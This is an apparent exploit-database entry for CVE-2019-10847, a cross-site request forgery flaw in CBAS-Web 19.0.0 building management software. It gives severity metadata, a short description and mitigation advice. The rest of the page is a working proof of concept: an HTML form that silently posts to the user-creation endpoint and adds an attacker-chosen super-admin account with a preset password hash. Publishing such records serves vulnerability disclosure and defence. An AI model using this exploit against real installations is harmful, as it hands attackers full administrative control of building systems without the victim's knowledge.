CBAS-Web 19.0.0 - Cross-Site Request Forgery (Add Super Admin)

vendor:

CBAS-Web

by:

LiquidWorm

8.8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: CBAS-Web

Affected Version From: 19.0.0

Affected Version To: 19.0.0

Patch Exists: NO

Related CWE: CVE-2019-10847

CPE: a:computrols:cbas-web:19.0.0

Metasploit:

Other Scripts:

Platforms Tested:

2019

CBAS-Web 19.0.0 – Cross-Site Request Forgery (Add Super Admin)

This exploit allows an attacker to perform Cross-Site Request Forgery (CSRF) attack in CBAS-Web version 19.0.0. By tricking a user into visiting a malicious website, the attacker can add a super admin to the system without the user's knowledge or consent.

Mitigation:

To mitigate this vulnerability, users are advised to update to a patched version of CBAS-Web.

Source

Exploit-DB raw data:

# Exploit Title: CBAS-Web 19.0.0 - Cross-Site Request Forgery (Add Super Admin)
# Google Dork: NA
# Date: 2019-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 19.0.0
# Tested on: NA
# CVE : CVE-2019-10847
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system

<!-- CSRF Add Super Admin -->
<html>
  <body>
  <script>history.pushState('', 't00t', 'index.php')</script>
    <form action="http://192.168.1.250/cbas/index.php?m=users&a=user_add_p" method="POST">
      <input type="hidden" name="username_" value="Sooper" />
      <input type="hidden" name="first" value="Mess" />
      <input type="hidden" name="last" value="O'Bradovich" />
      <input type="hidden" name="email" value="aa@bb.cc" />
      <input type="hidden" name="password_" value="" />
      <input type="hidden" name="notes" value="CSRFed" />
      <input type="hidden" name="group_id" value="0" />
      <input type="hidden" name="role" value="super" />
      <input type="hidden" name="md5password" value="179edfe73d9c016b51e9dc77ae0eebb1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>